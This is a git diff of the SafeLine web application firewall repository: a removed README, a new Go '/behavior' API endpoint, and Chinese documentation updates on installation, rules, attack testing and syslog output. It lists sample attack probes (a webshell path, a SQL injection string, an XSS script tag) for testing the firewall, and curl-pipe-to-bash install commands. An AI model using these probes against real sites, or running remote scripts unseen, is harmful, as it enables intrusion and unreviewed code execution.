- [网站无法访问](https://waf-ce.chaitin.cn/posts/faq_access)
|
||||
- [配置问题](https://waf-ce.chaitin.cn/posts/faq_config)
|
||||
- [其他问题](https://waf-ce.chaitin.cn/posts/faq_other)
|
||||
|
||||
## 🏘️ 联系我们
|
||||
|
||||
1. 可以通过 GitHub Issue 直接进行 Bug 反馈和功能建议
|
||||
2. 点击 <a href="https://discord.gg/wyshSVuvxC">链接</a> 加入雷池 Discord 聊天室
|
||||
3. 扫描下方二维码加入雷池社区版用户讨论群
|
||||
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/wechat-230825.png" width="30%" />
|
||||
|
||||
## Star History <a name="star-history"></a>
|
||||
|
||||
<a href="https://github.com/chaitin/safeline/stargazers">
|
||||
<img width="500" alt="Star History Chart" src="https://api.star-history.com/svg?repos=chaitin/safeline&type=Date">
|
||||
</a>
|
||||
112
README_EN.md
@@ -1,112 +0,0 @@
|
||||
<p align="center">
|
||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/veinmind/safeline-assets/safeline_logo.png" width="120">
|
||||
</p>
|
||||
<h1 align="center">SafeLine Community Edition</h1>
|
||||
<h3 align="center">Keep hackers at bay</h3>
|
||||
<br>
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/SafeLine-BEST_WAF-blue">
|
||||
<img src="https://img.shields.io/github/release/chaitin/safeline.svg?color=blue" />
|
||||
<img src="https://img.shields.io/github/release-date/chaitin/safeline.svg?color=blue&label=update" />
|
||||
<img src="https://img.shields.io/docker/v/chaitin/safeline-mgt-api?color=blue">
|
||||
<img src="https://img.shields.io/github/stars/chaitin/safeline?style=social">
|
||||
</p>
|
||||
|
||||
<p align="center"> <a href="https://waf-ce.chaitin.cn/">Official Website</a> </p>
|
||||
<p align="center"> English | <a href="README_CN.md">中文文档</a> </p>
|
||||
|
||||
A simple and easy to use WAF tool. Built on [Chaitin Technology](https://www.chaitin.cn/en/)'s ace 🤖️Intelligent Semantic Analysis algorithm🤖️, designed for the community.
|
||||
|
||||
## ✨ Demo
|
||||
|
||||
### 🔥🔥🔥 Online Demo: https://demo.waf-ce.chaitin.cn:9443/
|
||||
|
||||
There is a simple http server, listened on `http://127.0.0.1:8889`, can be used as for testing.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 🚀 Installation
|
||||
|
||||
### 1. Make sure [Docker](https://docs.docker.com/engine/install/) and [Compose V2](https://docs.docker.com/compose/install/) are installed correctly on the machine
|
||||
```shell
|
||||
docker info # >= 20.10.6
|
||||
docker compose version # >= 2.0.0
|
||||
```
|
||||
|
||||
### 2. Setup and deploy
|
||||
|
||||
```shell
|
||||
mkdir -p safeline && cd safeline
|
||||
# setup
|
||||
curl -kfLsS https://waf-ce.chaitin.cn/release/latest/setup.sh | bash
|
||||
|
||||
# launch
|
||||
sudo docker compose up -d
|
||||
```
|
||||
|
||||
#### Upgrade
|
||||
|
||||
**WARN: SafeLine will be restarted and your traffic will be unavailable for a short period of time. You may need to choose a proper time for upgration.**
|
||||
|
||||
```shell
|
||||
curl -kfLsS https://waf-ce.chaitin.cn/release/latest/upgrade.sh | bash
|
||||
|
||||
# delete the old used image layers if necessary.
|
||||
docker rmi $(docker images | grep "safeline" | grep "none" | awk '{print $3}')
|
||||
```
|
||||
|
||||
## 🕹️ Quick Start
|
||||
|
||||
### 1. Login
|
||||
|
||||
Open admin page `https://<waf-ip>:9443` and scan qrcode with any authenticator Apps that support TOTP, enter the code to login.
|
||||
|
||||

|
||||
|
||||
### 2. Create website
|
||||
|
||||

|
||||
|
||||
<font color=grey>💡 TIPS: After creating website,execute `curl -H "Host: <Domain>" http://<WAF IP>:<Port>` to check if you can get correct response from web server.</font>
|
||||
|
||||
### 3. Deploy your website to SafeLine
|
||||
|
||||
- If your website is hosted by DNS, just modify your DNS record to WAF
|
||||
- If your website is behind any reverse-proxy like nginx, you can modify your nginx conf and set upstream to WAF
|
||||
|
||||
### 4. Protected!👌
|
||||
|
||||
Try these:
|
||||
|
||||
- `http://<IP or Domain>:<Port>/webshell.php`
|
||||
- `http://<IP or Domain>:<Port>/?id=1%20AND%201=1`
|
||||
- `http://<IP or Domain>:<Port>/?a=<script>alert(1)</script>`
|
||||
|
||||
## 📖 FAQ
|
||||
|
||||
Please refer to our [FAQ](FAQ.md) first if you have any questions.
|
||||
|
||||
For examples:
|
||||
- [docker compose or docker-compose?](FAQ.md#docker-compose-or-docker-compose)
|
||||
- [website configurations](FAQ.md#站点配置问题)
|
||||
- [website not working / not correctly response](FAQ.md#配置完成之后还是没有成功访问到上游服务器)
|
||||
|
||||
## 🏘️ Contact Us
|
||||
|
||||
1. You can make bug feedback and feature suggestions directly through GitHub Issues.
|
||||
2. By scanning the QR code below (use wechat or qq), you can join the discussion group of SafeLine users for detailed discussions.
|
||||
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/wechat-230825.png" width="30%" />
|
||||
|
||||
## ✨ CTStack
|
||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
|
||||
|
||||
SafeLine has already joined [CTStack](https://stack.chaitin.com/tool/detail?id=717) community.
|
||||
|
||||
## Star History <a name="star-history"></a>
|
||||
|
||||
<a href="https://github.com/chaitin/safeline/stargazers">
|
||||
<img width="500" alt="Star History Chart" src="https://api.star-history.com/svg?repos=chaitin/safeline&type=Date">
|
||||
</a>
|
||||
@@ -1,6 +1,7 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
@@ -62,3 +63,44 @@ func (h *SafelineHandler) Exist(c *gin.Context) {
|
||||
}
|
||||
c.JSON(200, gin.H{"ip": ip})
|
||||
}
|
||||
|
||||
type BehaviorReq struct {
|
||||
Source string `json:"source"`
|
||||
Type service.BehaviorType `json:"type"`
|
||||
}
|
||||
|
||||
// Behavior record user behavior
|
||||
// @Summary record user behavior
|
||||
// @Description record user behavior
|
||||
// @Tags Safeline
|
||||
// @Accept json
|
||||
// @Produce json
|
||||
// @Param body body BehaviorReq true "body"
|
||||
// @Success 200 {object} string
|
||||
// @Router /behavior [post]
|
||||
func (h *SafelineHandler) Behavior(c *gin.Context) {
|
||||
req := &BehaviorReq{}
|
||||
if err := c.BindJSON(req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if req.Type >= service.BehaviorTypeMax || req.Type <= service.BehaviorTypeMin {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid behavior type"})
|
||||
return
|
||||
}
|
||||
|
||||
byteReq, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
err = h.safelineService.PostBehavior(c, byteReq)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(200, gin.H{})
|
||||
}
|
||||
|
||||
@@ -1,12 +1,11 @@
|
||||
package service
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
@@ -33,25 +32,50 @@ func NewSafelineService(host string) *SafelineService {
|
||||
}
|
||||
}
|
||||
|
||||
type response[T any] struct {
|
||||
Code int `json:"code"`
|
||||
Data T `json:"data"`
|
||||
}
|
||||
|
||||
func (s *SafelineService) request(req *http.Request, data any) error {
|
||||
res, err := s.client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
|
||||
if res.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("request failed, status_code: %d", res.StatusCode)
|
||||
}
|
||||
|
||||
if data == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
err = json.NewDecoder(res.Body).Decode(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SafelineService) GetInstallerCount(ctx context.Context) (InstallerCount, error) {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, s.APIHost+"/api/v1/public/safeline/count", nil)
|
||||
if err != nil {
|
||||
return cacheCount, err
|
||||
}
|
||||
res, err := s.client.Do(req)
|
||||
if err != nil {
|
||||
return cacheCount, err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
var r map[string]interface{}
|
||||
if err := json.NewDecoder(res.Body).Decode(&r); err != nil {
|
||||
return cacheCount, err
|
||||
}
|
||||
if r["code"].(float64) != 0 {
|
||||
|
||||
var r response[struct {
|
||||
Total int `json:"total"`
|
||||
}]
|
||||
|
||||
err = s.request(req, &r)
|
||||
if r.Code != 0 {
|
||||
return cacheCount, nil
|
||||
}
|
||||
cacheCount = InstallerCount{
|
||||
Total: int(r["data"].(map[string]interface{})["total"].(float64)),
|
||||
Total: r.Data.Total,
|
||||
}
|
||||
return cacheCount, nil
|
||||
}
|
||||
@@ -63,21 +87,41 @@ func (s *SafelineService) GetExist(ctx context.Context, id string, token string)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
res, err := s.client.Do(req)
|
||||
|
||||
var r response[struct {
|
||||
IP string `json:"ip"`
|
||||
}]
|
||||
|
||||
err = s.request(req, &r)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
if res.StatusCode != http.StatusOK {
|
||||
raw, _ := io.ReadAll(res.Body)
|
||||
return "", errors.New(string(raw))
|
||||
}
|
||||
var r map[string]interface{}
|
||||
if err := json.NewDecoder(res.Body).Decode(&r); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if r["code"].(float64) != 0 {
|
||||
|
||||
if r.Code != 0 {
|
||||
return "", nil
|
||||
}
|
||||
return r["data"].(map[string]interface{})["ip"].(string), nil
|
||||
return r.Data.IP, nil
|
||||
}
|
||||
|
||||
type BehaviorType uint64
|
||||
|
||||
const (
|
||||
BehaviorTypeMin BehaviorType = iota + 1000
|
||||
BehaviorTypePurchase
|
||||
BehaviorTypeConsult
|
||||
BehaviorTypeMax
|
||||
)
|
||||
|
||||
func (s *SafelineService) PostBehavior(ctx context.Context, body []byte) error {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, s.APIHost+"/api/v1/public/safeline/behavior", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = s.request(req, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -54,6 +54,7 @@ func main() {
|
||||
safelineHandler := handler.NewSafelineHandler(safelineService)
|
||||
v1.GET("/safeline/count", safelineHandler.GetInstallerCount)
|
||||
v1.POST("/exist", safelineHandler.Exist)
|
||||
v1.POST("/behavior", safelineHandler.Behavior)
|
||||
|
||||
docs.SwaggerInfo.BasePath = v1.BasePath()
|
||||
r.GET("/swagger/*any", ginSwagger.WrapHandler(swaggerfiles.Handler))
|
||||
|
||||
@@ -9,7 +9,6 @@ title: "安装雷池"
|
||||
- [环境检测](#环境检测) : 查看环境是否符合安装要求
|
||||
- [在线安装](#在线安装) : 推荐方式,一行命令完成安装
|
||||
- [离线安装](#离线安装) : 下载离线安装包,轻松完成安装
|
||||
- [其他方式安装](#使用牧云助手安装) : 使用牧云助手,点击即可完安装
|
||||
|
||||
## 在线安装(推荐)
|
||||
|
||||
@@ -90,20 +89,6 @@ style={{ width: '100%', height: '350px' }}
|
||||
>
|
||||
</iframe>
|
||||
|
||||
## 使用牧云助手安装
|
||||
|
||||
使用 [牧云主机管理助手](https://collie.chaitin.cn/) 进行一键安装
|
||||
|
||||
直接点击应用市场的安装按钮安装
|
||||
|
||||

|
||||
|
||||
### 助手安装演示
|
||||
|
||||
<iframe src="//player.bilibili.com/player.html?aid=613778738&bvid=BV1sh4y1t7Pk&cid=1134834926&p=1&autoplay=0" scrolling="no" border="0" frameBorder="no" framespacing="0" allowFullScreen="{true}"
|
||||
style={{ width: '100%', height: '350px' }}
|
||||
> </iframe>
|
||||
|
||||
## 环境检测
|
||||
|
||||
最低配置需求
|
||||
|
||||
@@ -103,6 +103,24 @@ title: "配置站点"
|
||||
|
||||

|
||||
|
||||
|
||||
## 高级防护
|
||||
|
||||
新版本增加单个站点的高级防护配置,支持对单个站点进行额外的防护配置
|
||||
|
||||
注意:自定义规则不受到当前开关影响
|
||||
|
||||

|
||||
|
||||
### 人机验证
|
||||
|
||||
点击后可以开启单个站点的人机验证
|
||||
|
||||
### 身份认证
|
||||
|
||||
点击可以为当前站点额外配置一个身份认证规则
|
||||
|
||||
|
||||
## 常见配置问题
|
||||
|
||||
请参考 [配置问题](/faq/config)
|
||||
@@ -20,8 +20,7 @@ title: "测试防护"
|
||||
|
||||
整体监测流程参考:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 尝试手动模拟攻击
|
||||
|
||||
@@ -61,13 +60,19 @@ title: "测试防护"
|
||||
3. 使用以下请求开始测试
|
||||
|
||||
```
|
||||
./blazehttp -t http://<IP或域名>:<端口>
|
||||
./选择对应版本 -t http://<IP或域名>:<端口>
|
||||
|
||||
windows下
|
||||
./blazehttp_windows.exe -t http://<IP或域名>:<端口>
|
||||
|
||||
linux下
|
||||
./blazehttp_linux_x64 -t http://<IP或域名>:<端口>
|
||||
```
|
||||
|
||||
### 测试效果展示
|
||||
|
||||
```sh
|
||||
# 测试请求
|
||||
# linux测试请求演示
|
||||
./blazehttp -t http://127.0.0.1:8008
|
||||
sending 100% |█████████████████████████████████████████████████████████| (33669/33669, 940 it/s) [35s:0s]
|
||||
总样本数量: 33669 成功: 33669 错误: 0
|
||||
214
documents/docs/02-guide/06-other_config.md
Normal file
@@ -0,0 +1,214 @@
|
||||
---
|
||||
title: "配置其他"
|
||||
---
|
||||
|
||||
# 配置其他
|
||||
|
||||
其他配置项介绍
|
||||
|
||||
## 防护站点
|
||||
|
||||
### 证书管理
|
||||
|
||||
管理需要使用的证书,点击添加证书添加
|
||||
|
||||
### 代理配置
|
||||
|
||||
#### 源 ip 获取方式
|
||||
|
||||
1.使用默认的方式获取源 IP
|
||||
|
||||
2.自定义获取源 IP 的 header
|
||||
|
||||
#### 其他代理配置
|
||||
|
||||
1.如果配置站点需要 http 自动转为 https 功能时,需要手动开启
|
||||
|
||||
2.支持使用 HTTP2
|
||||
|
||||
3.雷池支持开启 IPv6 的访问
|
||||
|
||||
4.代理增加信息,方便数据分析
|
||||
|
||||
注:开启后并不会遵循源请求的信息,雷池会覆盖,为防止客户端伪造
|
||||
|
||||
## 防护配置
|
||||
|
||||
### 自定义规则
|
||||
|
||||
新版本自定义规则把原黑白名单、人机验证、身份认证都合并一起管理,可以通过页面进行筛选
|
||||
|
||||
|
||||

|
||||
|
||||
#### 类型:黑、白名单
|
||||
|
||||
黑名单:拦截
|
||||
|
||||
白名单:放通,优先级大于黑名单
|
||||
|
||||
注意:条件 AND 是指同时符合,如果希望多个匹配条件需要增加多条黑名单或者白名单
|
||||
|
||||
#### 类型:人机验证
|
||||
|
||||
人机验证的有效时间默认是一个小时,未来可能会支持配置,敬请期待。
|
||||
|
||||
详情查看 [人机验证 2.0](/about/challenge)
|
||||
|
||||
#### 类型:身份认证
|
||||
|
||||
可以通过添加认证规则,对雷池保护的站点额外增加身份认证功能。
|
||||
|
||||

|
||||
|
||||
如图,触发身份认证规则后需要使用账户密码登录后继续访问网站。
|
||||
|
||||
### 频率限制
|
||||
|
||||
通过开启频率限制功能封锁恶意 IP
|
||||
|
||||
对已经限制的ip可以在限频日志页面点击解除限制进行放行
|
||||
|
||||

|
||||
|
||||
|
||||
### 语义分析
|
||||
|
||||
详情查看 [语义分析检测算法](/about/syntaxanalysis)
|
||||
|
||||
### 补充规则(专业版)
|
||||
|
||||
补充规则能在语义分析的基础上,针对一些特殊的业务漏洞、框架漏洞的利用行为进行防护。
|
||||
|
||||
社区版默认进行平衡防护,专业版可进一步配置防护模式。
|
||||
|
||||

|
||||
|
||||
|
||||
### 通用配置
|
||||
|
||||
#### IP 组
|
||||
|
||||
1.支持自定义 IP 组
|
||||
|
||||
2.长亭社区恶意 IP 情报,需要加入 IP 情报共享计划才可以使用
|
||||
|
||||
|
||||
#### 拦截页面
|
||||
|
||||
1.自定义拦截页面的提示信息
|
||||
|
||||
2.自定义拦截页面(专业版),可以修改替或换拦截页面
|
||||
|
||||
#### 攻击告警(专业版)
|
||||
|
||||
支持钉钉、飞书、企业微信
|
||||
|
||||
支持发送(攻击、频率限制)告警到钉钉
|
||||
|
||||
#### IP 情报共享计划
|
||||
|
||||
默认加入共享计划,加入后将共享攻击 IP 信息到社区,并可使用 IP 组 “长亭社区恶意 IP 情报”。
|
||||
|
||||
## 系统设置
|
||||
|
||||
#### 雷池控制台登录设置
|
||||
|
||||
用于配置登录雷池管理端的方式
|
||||
|
||||
低于5.0.0版本升级上来的,shell会显示初始密码,忘记可以手动重置
|
||||
|
||||
社区版支持单用户,**专业版**支持多用户管理
|
||||
|
||||
管理员固定为 admin,非管理员不能修改其他用户配置
|
||||
|
||||
#### 雷池控制台证书
|
||||
|
||||
存放默认证书,可以自定义证书
|
||||
|
||||
#### Syslog 设置
|
||||
|
||||
让雷池发送syslog到设置的服务器,**当前只支持UDP协议**
|
||||
|
||||

|
||||
|
||||
保存信息后可以点击测试按钮测试,收到测试信息表示配置成功
|
||||
|
||||
雷池发现攻击事件后,会发送事件的syslog信息
|
||||
|
||||

|
||||
|
||||
```
|
||||
#syslog 内容详情
|
||||
{
|
||||
"scheme": "http", // 请求协议为 HTTP
|
||||
"src_ip": "12.123.123.123", // 源 IP 地址
|
||||
"src_port": 53008, // 源端口号
|
||||
"socket_ip": "10.2.71.103", // Socket IP 地址
|
||||
"upstream_addr": "10.2.34.20", // 上游地址
|
||||
"req_start_time": 1712819316749, // 请求开始时间
|
||||
"rsp_start_time": null, // 响应开始时间
|
||||
"req_end_time": 1712819316749, // 请求结束时间
|
||||
"rsp_end_time": null, // 响应结束时间
|
||||
"host": "safeline-ce.chaitin.net",// 主机名
|
||||
"method": "GET", // 请求方法为 GET
|
||||
"query_string": "", // 查询字符串
|
||||
"event_id": "32be0ce3ba6c44be9ed7e1235f9eebab", // 事件 ID
|
||||
"session": "", // 会话
|
||||
"site_uuid": "35", // 站点 UUID
|
||||
"site_url": "http://safeline-ce.chaitin.net:8083", // 站点 URL
|
||||
"req_detector_name": "1276d0f467e4", // 请求检测器名称
|
||||
"req_detect_time": 286, // 请求检测时间
|
||||
"req_proxy_name": "16912fe30d8f", // 请求代理名称
|
||||
"req_rule_id": "m_rule/9bf31c7ff062936a96d3c8bd1f8f2ff3", // 请求规则 ID
|
||||
"req_location": "urlpath", // 请求位置为 URL 路径
|
||||
"req_payload": "", // 请求负载为空
|
||||
"req_decode_path": "", // 请求解码路径
|
||||
"req_rule_module": "m_rule", // 请求规则模块为 m_rule
|
||||
"req_http_body_is_truncate": 0, // 请求 HTTP 主体
|
||||
"rsp_http_body_is_truncate": 0, // 响应 HTTP 主体
|
||||
"req_skynet_rule_id_list": [ // 请求 Skynet 规则 ID 列表
|
||||
65595,
|
||||
65595
|
||||
],
|
||||
"http_body_is_abandoned": 0, // HTTP 主体
|
||||
"country": "US", // 国家
|
||||
"province": "", // 省份
|
||||
"city": "", // 城市
|
||||
"timestamp": 1712819316, // 时间戳
|
||||
"payload": "",
|
||||
"location": "urlpath", // 位置为 URL 路径
|
||||
"rule_id": "m_rule/9bf31c7ff062936a96d3c8bd1f8f2ff3", / 规则 ID
|
||||
"decode_path": "", // 解码路径
|
||||
"cookie": "sl-session=Z0WLa8mjGGZPki+QHX+HNQ==", // Cookie
|
||||
"user_agent": "PostmanRuntime/7.28.4", // 用户代理
|
||||
"referer": "", // 引用页
|
||||
"timestamp_human": "2024-04-11 15:08:36", // 时间戳
|
||||
"resp_reason_phrase": "", // 响应
|
||||
"module": "m_rule", // 模块为 m_rule
|
||||
"reason": "", // 原因
|
||||
"proxy_name": "16912fe30d8f", // 代理名称
|
||||
"node": "1276d0f467e4", // 节点
|
||||
"dest_port": 8083, // 目标端口号
|
||||
"dest_ip": "10.2.34.20", // 目标 IP 地址
|
||||
"urlpath": "/webshell.php", // URL 路径
|
||||
"protocol": "http", // 协议为 HTTP
|
||||
"attack_type": "backdoor", // 攻击类型
|
||||
"risk_level": "high", // 风险级别
|
||||
"action": "deny", // 动作
|
||||
"req_header_raw": "GET /webshell.php HTTP/1.1\r\nHost: safeline-ce.chaitin.net:8083\r\nUser-Agent: PostmanRuntime/7.28.4\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate, br\r\nCache-Control: no-cache\r\nCookie: sl-session=Z0WLa8mjGGZPki+QHX+HNQ==\r\nPostman-Token: 8e67bec1-6e79-458c-8ee5-0498f3f724db\r\nX-Real-Ip: 12.123.123.123\r\nSL-CE-SUID: 35\r\n\r\n", // 请求头原始内容
|
||||
"body": "", // 主体
|
||||
"req_block_reason": "web", // 请求阻止原因
|
||||
"req_attack_type": "backdoor", // 请求攻击类型
|
||||
"req_risk_level": "high", // 请求风险级别
|
||||
"req_action": "deny" // 动作
|
||||
}
|
||||
```
|
||||
|
||||
#### 系统信息
|
||||
|
||||
显示系统版本和设备机器码
|
||||
|
||||
## 常见配置问题
|
||||
|
||||
请参考 [其他问题](/faq/other)
|
||||
@@ -1,141 +0,0 @@
|
||||
---
|
||||
title: "配置其他"
|
||||
---
|
||||
|
||||
# 配置其他
|
||||
|
||||
其他配置项介绍
|
||||
|
||||
## 防护站点
|
||||
|
||||
### 证书管理
|
||||
|
||||
管理需要使用的证书,点击添加证书添加
|
||||
|
||||
### 代理配置
|
||||
|
||||
#### 源 ip 获取方式
|
||||
|
||||
1.使用默认的方式获取源 IP
|
||||
|
||||
2.自定义获取源 IP 的 header
|
||||
|
||||
#### 其他代理配置
|
||||
|
||||
1.如果配置站点需要 http 自动转为 https 功能时,需要手动开启
|
||||
|
||||
2.支持使用 HTTP2
|
||||
|
||||
3.雷池支持开启 IPv6 的访问
|
||||
|
||||
4.代理增加信息,方便数据分析
|
||||
|
||||
注:开启后并不会遵循源请求的信息,雷池会覆盖,为防止客户端伪造
|
||||
|
||||
## 防护配置
|
||||
|
||||
### 黑白名单
|
||||
|
||||
黑名单:拦截
|
||||
|
||||
白名单:放通,优先级大于黑名单
|
||||
|
||||
注意:条件 AND 是指同时符合,如果希望多个匹配条件需要增加多条黑名单或者白名单
|
||||
|
||||

|
||||
|
||||
### 频率限制
|
||||
|
||||
通过开启频率限制功能封锁恶意 IP
|
||||
|
||||
对已经限制的ip可以在限频日志页面点击解除限制进行放行
|
||||
|
||||

|
||||
|
||||
### 人机验证
|
||||
|
||||
人机验证的有效时间默认是一个小时,未来可能会支持配置,敬请期待。
|
||||
|
||||
详情查看 [人机验证 2.0](/about/challenge)
|
||||
|
||||
### 语义分析
|
||||
|
||||
详情查看 [语义分析检测算法](/about/syntaxanalysis)
|
||||
|
||||
### 补充规则(专业版)
|
||||
|
||||
补充规则能在语义分析的基础上,针对一些特殊的业务漏洞、框架漏洞的利用行为进行防护。
|
||||
|
||||
社区版默认进行平衡防护,专业版可进一步配置防护模式。
|
||||
|
||||

|
||||
|
||||
### 身份认证
|
||||
|
||||
可以通过添加认证规则,对雷池保护的站点额外增加身份认证功能。
|
||||
|
||||

|
||||
|
||||
如图,触发身份认证规则后需要使用账户密码登录后继续访问网站。
|
||||
|
||||

|
||||
|
||||
### 通用配置
|
||||
|
||||
#### IP 组
|
||||
|
||||
1.支持自定义 IP 组
|
||||
|
||||
2.长亭社区恶意 IP 情报,需要加入 IP 情报共享计划才可以使用
|
||||
|
||||
|
||||
#### 拦截页面
|
||||
|
||||
1.自定义拦截页面的提示信息
|
||||
|
||||
2.自定义拦截页面(专业版),可以修改替或换拦截页面
|
||||
|
||||
#### 钉钉告警(专业版)
|
||||
|
||||
支持发送(攻击、频率限制)告警到钉钉
|
||||
|
||||
#### IP 情报共享计划
|
||||
|
||||
默认加入共享计划,加入后将共享攻击 IP 信息到社区,并可使用 IP 组 “长亭社区恶意 IP 情报”。
|
||||
|
||||
## 系统设置
|
||||
|
||||
#### 雷池控制台登录设置
|
||||
|
||||
用于配置登录雷池管理端的方式
|
||||
|
||||
低于5.0.0版本升级上来的,shell会显示初始密码,忘记可以手动重置
|
||||
|
||||
社区版支持单用户,**专业版**支持多用户管理
|
||||
|
||||
管理员固定为 admin,非管理员不能修改其他用户配置
|
||||
|
||||
#### 雷池控制台证书
|
||||
|
||||
存放默认证书,可以自定义证书
|
||||
|
||||
#### Syslog 设置
|
||||
|
||||
让雷池发送syslog到设置的服务器,**当前只支持UDP协议**
|
||||
|
||||

|
||||
|
||||
保存信息后可以点击测试按钮测试,收到测试信息表示配置成功
|
||||
|
||||
雷池发现攻击事件后,会发送事件的syslog信息
|
||||
|
||||

|
||||
|
||||
|
||||
#### 系统信息
|
||||
|
||||
显示系统版本和设备机器码
|
||||
|
||||
## 常见配置问题
|
||||
|
||||
请参考 [其他问题](/faq/other)
|
||||
@@ -26,9 +26,8 @@ title: "安装问题"
|
||||
|
||||
需要安装 docker。尝试 `curl -fLsS https://get.docker.com/ | sh` 或者 [Install Docker Engine](https://docs.docker.com/engine/install/)。
|
||||
|
||||
#### 报错:docker not found, unable to deploy
|
||||
#### 报错:failed to create network safeline-ce
|
||||
|
||||
failed to create network safeline-ce
|
||||
safeline-ce 是雷池部署时候创建的 network,出现类似报错,先重启下 dockerd 之后重试
|
||||
|
||||
需要启动 docker daemon 才能执行相关的命令。尝试 `systemctl start docker`。
|
||||
@@ -37,10 +36,6 @@ safeline-ce 是雷池部署时候创建的 network,出现类似报错,先重
|
||||
|
||||
需要安装 `docker compose v2`。尝试 `[Install Docker Compose](https://docs.docker.com/compose/install/)`。
|
||||
|
||||
#### 报错: `failed to create network safeline-ce`
|
||||
|
||||
safeline-ce 是雷池部署时候创建的 network,出现类似报错,先重启下 dockerd 之后重试。
|
||||
|
||||
#### 报错: safeline-tengine 出现 Address already in use
|
||||
|
||||
`docker logs -f safeline-tengine` 容器日志中看到 `Address already in use` 信息。
|
||||
@@ -103,8 +98,27 @@ security_opt:
|
||||
|
||||
在安装目录(默认 safeline)下
|
||||
|
||||
根据本地的compose版本,执行 `docker compose down` 或者 `docker-compose down`
|
||||
1.根据本地的compose版本,执行 `docker compose down` 或者 `docker-compose down` 停止容器
|
||||
|
||||
2.手动删除镜像
|
||||
|
||||
3.动手删除目录
|
||||
|
||||
## 关于推荐的配置
|
||||
|
||||
需根据业务情况进行选择,带宽推荐与源站的带宽保持一致
|
||||
|
||||
独立部署雷池环境下:
|
||||
|
||||
如果业务QPS低于100,推荐2c4g及以上配置
|
||||
|
||||
如果业务QPS大于100低于1000,推荐4c8g及以上配置
|
||||
|
||||
如果业务QPS高于1000,推荐8c16g及以上配置
|
||||
|
||||
注意:
|
||||
|
||||
上述推荐仅做参考,建议根据业务情况进行测试后,再确定服务器配置
|
||||
|
||||
|
||||
## 问题无法解决
|
||||
|
||||
@@ -6,6 +6,10 @@ title: "配置问题"
|
||||
|
||||
记录常见的配置问题
|
||||
|
||||
## 配置后攻击测试没有拦截记录
|
||||
|
||||
检查访问请求有没有真实经过雷池
|
||||
|
||||
## 配置后网站无法访问,排查思路
|
||||
|
||||
如果按照指引配置了站点,但配置的网站无法访问
|
||||
@@ -22,6 +26,8 @@ title: "配置问题"
|
||||
|
||||
5. 雷池本身的状态不正常,使用 docker ps 检查容器状态
|
||||
|
||||
注:还可以结合safeline-mgt和safeline-tengine两个容器的日志帮助排查
|
||||
|
||||
## 排查步骤
|
||||
|
||||
1. 明确 “网站无法访问” 的具体表现:
|
||||
@@ -81,10 +87,16 @@ title: "配置问题"
|
||||
|
||||
## 配置完成后,测试时返回 400 Request Header Or Cookie Too Large
|
||||
|
||||
请麻烦检查是否形成了环路,即:雷池将请求转发给上游服务器后,上游服务器又将请求转发回雷池。
|
||||
检查是否形成了环路,即:雷池将请求转发给上游服务器后,上游服务器又将请求转发回雷池。
|
||||
|
||||
重新修改配置后再次测试
|
||||
|
||||
## 不同版本关闭防火墙的命令
|
||||
|
||||
默认使用雷池不需要关闭防火墙,配置对应的开放规则即可
|
||||
|
||||
如果需要直接关闭防火墙可以参考
|
||||
|
||||
Ubuntu 18.04 LTS 、 Ubuntu 20.04 LTS 、 Ubuntu 22.04 LTS
|
||||
|
||||
Debian 9 (Stretch)、Debian 10 (Buster)、Debian 11 (Bullseye)
|
||||
|
||||
@@ -45,6 +45,22 @@ docker exec safeline-tengine nginx -s reload
|
||||
|
||||
**_注意:该操作会加快对硬盘的消耗,请定时清理访问日志_**
|
||||
|
||||
## 有信任的ip进入了社区黑名单怎么办
|
||||
|
||||
社区黑名单的进入条件是需要多个雷池设备上报恶意行为,自动移出条件是连续一段时间没有被上报
|
||||
|
||||
由于网络环境的复杂性,存在ip被利用或者规则误报导致进入社区黑名单的情况
|
||||
|
||||
出于安全考虑,雷池社区不会主动为任何人移出社区黑名单
|
||||
|
||||
误报如何处理
|
||||
|
||||
1.排查信任ip的情况,确认是否真的安全
|
||||
|
||||
2.对信任的ip针对性配置加白规则
|
||||
|
||||
3.等待信任ip自动被移出社区黑名单
|
||||
|
||||
## 问题无法解决
|
||||
|
||||
1. 通过右上角搜索检索其他页面
|
||||
|
||||
@@ -6,6 +6,12 @@ title: "升级问题"
|
||||
|
||||
记录常见的升级问题
|
||||
|
